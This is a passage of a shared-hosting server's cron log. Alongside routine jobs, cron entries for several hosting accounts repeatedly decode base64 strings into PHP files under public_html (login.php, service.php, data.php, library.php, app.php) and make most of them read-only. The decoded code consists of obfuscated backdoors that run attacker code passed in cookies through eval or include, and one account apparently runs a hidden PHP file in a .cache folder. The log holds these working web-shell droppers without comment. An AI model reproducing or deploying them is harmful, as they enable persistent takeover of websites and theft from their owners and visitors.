"PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:01:01 medusa CROND[8327]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:01:01 medusa CROND[8326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:01:01 medusa CROND[8328]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:01:01 medusa CROND[8330]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 05:01:01 medusa CROND[8332]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:01:01 medusa CROND[8337]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:01:01 medusa CROND[8338]: (root) CMD (run-parts /etc/cron.hourly)
Jun  7 05:01:01 medusa CROND[8339]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:01:01 medusa CROND[8341]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:01:01 medusa CROND[8343]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:01:01 medusa run-parts(/etc/cron.hourly)[8338]: starting 0anacron
Jun  7 05:01:02 medusa run-parts(/etc/cron.hourly)[8393]: finished 0anacron
Jun  7 05:02:01 medusa CROND[9812]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:02:01 medusa CROND[9813]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:02:01 medusa CROND[9814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:02:01 medusa CROND[9816]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:02:01 medusa CROND[9815]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:02:01 medusa CROND[9817]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 05:02:01 medusa CROND[9819]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 05:02:01 medusa CROND[9820]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:02:01 medusa CROND[9824]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:02:01 medusa CROND[9825]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:02:01 medusa CROND[9830]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:02:01 medusa CROND[9833]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:02:01 medusa CROND[9834]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:03:01 medusa CROND[11512]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:03:01 medusa CROND[11513]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:03:01 medusa CROND[11514]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:03:01 medusa CROND[11515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:03:01 medusa CROND[11516]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:03:01 medusa CROND[11517]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 05:03:01 medusa CROND[11518]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMD